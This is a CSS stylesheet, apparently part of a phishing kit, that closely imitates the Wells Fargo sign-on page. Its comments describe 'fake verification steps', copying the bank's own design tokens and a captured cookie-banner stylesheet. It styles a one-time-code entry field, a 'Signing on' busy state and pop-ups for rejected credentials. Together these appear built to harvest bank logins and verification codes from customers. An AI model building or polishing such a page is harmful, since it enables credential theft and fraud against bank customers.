/* Extra styles for the fake verification steps — built on Wells Fargo's own tokens. */
.wfStep {
  padding-bottom: 10px;
  width: 435px;
  max-width: 100%;
  margin: 0 auto;
  box-sizing: border-box;
  text-align: left;
}
.wfStep[hidden] { display: none !important; }
.wfFluid[hidden] { display: none !important; }

/* masthead search keeps Wells Fargo's intrinsic sizing */
.Search__search___o3bDK input { box-sizing: content-box; }

/* mobile masthead: centered logo + hamburger, like the real small breakpoint */
.wfHam { display: none; }
.wfSheet { display: none; }
@media screen and (max-width: 35.5625rem) {
  .BrandedLogoBar__inner___MgwfI { position: relative; display: flex; justify-content: center; }
  nav[class*="FusionMenu__bar"] ul { display: none; }
  .AnimatedLogo__logoContainer___fVgBt svg { width: 148px !important; height: 16px !important; }
  .wfHam {
    display: block; position: absolute; right: 8px; top: 50%; transform: translateY(-50%);
    width: 44px; height: 36px; padding: 8px 10px; background: none; border: 0; cursor: pointer;
  }
  .wfHam span { display: block; height: 2px; margin: 4px 0; background: #fff; border-radius: 2px; }
  .wfSheet {
    display: block; position: absolute; top: 100%; left: 0; right: 0; z-index: 30;
    background: #fff; border-bottom: 1px solid #e0dbd8; box-shadow: 0 8px 18px rgba(59, 51, 49, .18);
  }
  .wfSheet[hidden] { display: none; }
  .wfSheet a { display: block; padding: 14px 20px; border-top: 1px solid #efebe9; color: #141414; font-size: 16px; }
}

.wfCookieBtn {
  position: fixed; left: 20px; bottom: 20px; width: 44px; height: 44px;
  border-radius: 50%; background: #3c6b52; display: flex; align-items: center;
  justify-content: center; cursor: pointer; z-index: 2147483000;
  box-shadow: 0 2px 6px rgba(0, 0, 0, .3);
}
.wfCookieBtn:hover { background: #2f5541; }

.wfStep .wfTitle {
  margin-top: 16px;
  margin-bottom: 8px;
  text-align: center;
  display: flex;
  flex-wrap: nowrap;
  align-items: center;
  justify-content: center;
}
.wfStep .wfTitle h1 {
  color: #000;
  font-family: "Wells Fargo Serif", Georgia, serif;
  font-size: 34px;
  font-weight: 300;
  word-break: break-word;
  margin: 0;
  text-align: center;
}
.wfStep .wfLead {
  color: #665e5c;
  font-size: 15px;
  line-height: 21px;
  margin: 0 0 20px;
  text-align: center;
}
.wfStep .wfLead b { color: #3b3331; font-weight: 600; }

/* the save-username label keeps the real 46px row height */
.WFCheckbox__valueLabel___Gjd6A { min-height: 25px; }

.wfOptions { display: flex; flex-direction: column; gap: 12px; margin-bottom: 8px; }

.wfOption {
  display: flex;
  flex-flow: row;
  align-items: center;
  gap: 12px;
  width: 100%;
  box-sizing: border-box;
  background: #fff;
  border: 1px solid #d5cdcb;
  border-radius: 18px;
  padding: 14px 16px;
  cursor: pointer;
  font-family: inherit;
  font-size: 15px;
  color: #3b3331;
  text-align: left;
  transition: border-color .12s, box-shadow .12s, background-color .12s;
}
.wfOption:hover { border-color: #9b918f; }
.wfOption:focus-visible { outline: none; box-shadow: 0 0 0 3px #c9000033; border-color: #bf2d19; }
.wfOption[aria-checked="true"] { border: 2px solid #3b3331; padding: 13px 15px; background: #faf9f8; }
.wfOption .wfOptionIcon { display: flex; flex: 0 0 20px; height: 20px; align-items: center; justify-content: center; color: #3b3331; }
.wfOption .wfOptionText { display: flex; flex-direction: column; line-height: 18px; flex: 1 1 auto; }
.wfOption .wfOptionText strong { font-weight: 600; font-size: 15px; }
.wfOption .wfOptionText small { color: #766d6b; font-size: 13.5px; }
.wfOption .wfOptionCheck {
  flex: 0 0 22px; height: 22px; border-radius: 50%;
  border: 1px solid #b5adad; display: flex; align-items: center; justify-content: center;
  box-sizing: border-box;
}
.wfOption[aria-checked="true"] .wfOptionCheck { border-color: #3b3331; background: #3b3331; }
.wfOption .wfOptionCheck svg { display: none; }
.wfOption[aria-checked="true"] .wfOptionCheck svg { display: block; }

.wfActions {
  margin-top: 24px;
  display: flex;
  flex-wrap: nowrap;
  align-items: center;
  justify-content: center;
}
.wfActions .Button__modern___cqCp7 { min-width: 176px; }

.wfFoot { margin-top: 16px; text-align: center; }
.wfFoot a { color: #6048ad; font-size: 15px; text-decoration: none; cursor: pointer; }
.wfFoot a:hover { text-decoration: underline; }

.wfError {
  color: #bf2d19;
  font-size: 14.5px;
  line-height: 20px;
  margin: 10px 0 0;
  display: none;
  align-items: flex-start;
  gap: 6px;
}
.wfError.on { display: flex; }
.wfError svg { flex: 0 0 16px; margin-top: 2px; }

.wfNote {
  color: #665e5c;
  font-size: 13.5px;
  margin: 10px 0 0;
  display: none;
}
.wfNote.on { display: block; }

.wfCodeInput { letter-spacing: 6px; font-weight: 600; }
.wfCodeInput::placeholder { letter-spacing: normal; font-weight: 400; }

/* deterministic floating-label field for the code input (Wells Fargo look) */
#wf-codeWrap { align-items: center; }
#wf-codeWrap .WFInput__labelInputContainer___o6WCx { position: relative; }
#wf-codeWrap .WFInputLabel__label___SUJk1 {
  position: absolute; left: 16px; right: 16px; top: 50%; transform: translateY(-50%);
  margin: 0; font-size: 19px; line-height: 26px; color: #665e5c !important;
  pointer-events: none; transition: none; display: block !important;
}
#wf-codeWrap .WFInputLabel__label___SUJk1.WFInputLabel__transition___CuEqT {
  top: 9px; transform: none; font-size: 13px; line-height: 16px;
}
#wf-codeWrap.WFInput__invalid___qRg4J .WFInputLabel__label___SUJk1 { color: #bf2d19 !important; }
#wf-codeWrap .WFInput__inputField___bKfh0 { margin: 0; height: 58px; font-size: 19px; padding-top: 26px; padding-bottom: 6px; }

.wfWait { display: flex; flex-direction: column; align-items: center; gap: 18px; padding: 8px 0 4px; }
.wfWait .wfSpin {
  width: 34px; height: 34px; border-radius: 50%;
  border: 3px solid #e2dede; border-top-color: #d71e28;
  animation: wfspin .8s linear infinite;
}
@keyframes wfspin { to { transform: rotate(360deg); } }
.wfWait p { color: #665e5c; font-size: 15px; margin: 0; text-align: center; }

/* disabled primary button parity with the real sign-on button */
.Button__button___Jo8E3.wfBusy { pointer-events: none; opacity: .85; }

/* cookie banner rebuilt with the captured OneTrust stylesheet */
#onetrust-banner-sdk { display: block; }
#onetrust-banner-sdk .ot-bnr-inner {
  display: flex; align-items: center; gap: 24px;
  max-width: 1440px; margin: 0 auto; padding: 20px 40px;
  font-size: 15px; line-height: 21px; color: #3b3331;
}
#onetrust-policy-title { font-size: 18px; font-weight: 600; margin: 0 0 6px; color: #3b3331 !important; }
#onetrust-policy-text { margin: 0; max-width: 880px; }
#onetrust-button-group { display: flex; gap: 12px; flex: 0 0 auto; align-items: center; }
#onetrust-banner-sdk button {
  font-family: inherit; font-size: 15px; font-weight: 600; cursor: pointer;
  border-radius: 2px; padding: 12px 22px; white-space: nowrap;
}
#onetrust-banner-sdk #onetrust-pc-btn-handler { background: #fff; color: #3b3331; border: 1px solid #3b3331; }
#onetrust-banner-sdk #onetrust-reject-all-handler,
#onetrust-banner-sdk #onetrust-accept-btn-handler { background: #3b3331; color: #fff; border: 1px solid #3b3331; }
#onetrust-banner-sdk button:hover { text-decoration: underline; }
#onetrust-banner-sdk.wfHidden { display: none; }
@media (max-width: 900px) {
  #onetrust-banner-sdk .ot-bnr-inner { flex-direction: column; align-items: flex-start; padding: 16px; }
}

@media screen and (max-width: 35.5625rem) {
  .GutteredBanner__wrapper___Vv9Su { --guttered-banner-height: 42px !important; }
  .BrandedLogoBar__logoBar___S2rgA { height: 42px !important; }
  div[class*="WFFooter__footer"] ul[class*="Links__links"] li:nth-child(1) { order: 1; }
  div[class*="WFFooter__footer"] ul[class*="Links__links"] li:nth-child(6) { order: 2; }
  div[class*="WFFooter__footer"] ul[class*="Links__links"] li:nth-child(2) { order: 3; }
  div[class*="WFFooter__footer"] ul[class*="Links__links"] li:nth-child(7) { order: 4; }
  div[class*="WFFooter__footer"] ul[class*="Links__links"] li:nth-child(3) { order: 5; }
  div[class*="WFFooter__footer"] ul[class*="Links__links"] li:nth-child(8) { order: 6; }
  div[class*="WFFooter__footer"] ul[class*="Links__links"] li:nth-child(4) { order: 7; }
  div[class*="WFFooter__footer"] ul[class*="Links__links"] li:nth-child(9) { order: 8; }
  div[class*="WFFooter__footer"] ul[class*="Links__links"] li:nth-child(5) { order: 9; }
  section[class*="Panel__panel"] a[class*="WFLink__link"] { padding-bottom: 64px !important; margin-bottom: 0 !important; }
}

/* aviso emergente estilo app: credenciales rechazadas / fallo de red */
.wfModal {
  position: fixed; inset: 0; z-index: 60; display: flex; align-items: center; justify-content: center;
  padding: 24px; background: rgba(20, 20, 20, .55);
}
.wfModal[hidden] { display: none; }
.wfModalCard {
  width: 100%; max-width: 330px; background: #fff; border-radius: 6px; padding: 26px 22px 12px;
  box-shadow: 0 18px 40px rgba(0, 0, 0, .28); font-family: inherit;
}
.wfModalCard p { margin: 0 0 18px; font-size: 15px; line-height: 1.45; color: #141414; }
.wfModalCard button {
  display: block; margin-left: auto; padding: 8px 6px; background: none; border: 0; cursor: pointer;
  color: #2d6f8e; font-size: 15px; font-weight: 600; letter-spacing: .3px;
}

/* mientras "Signing on�" el bot�n queda rojo con texto blanco, como el real */
[data-testid="signon-button"][disabled] { color: #fff; }
[data-testid="signon-button"].wfBusy { background: #d71e28 !important; color: #fff !important; opacity: 1; }

.wfModalCard button:focus { outline: none; }
.wfModalCard button:focus-visible { outline: 2px solid #2d6f8e; outline-offset: 3px; border-radius: 3px; }
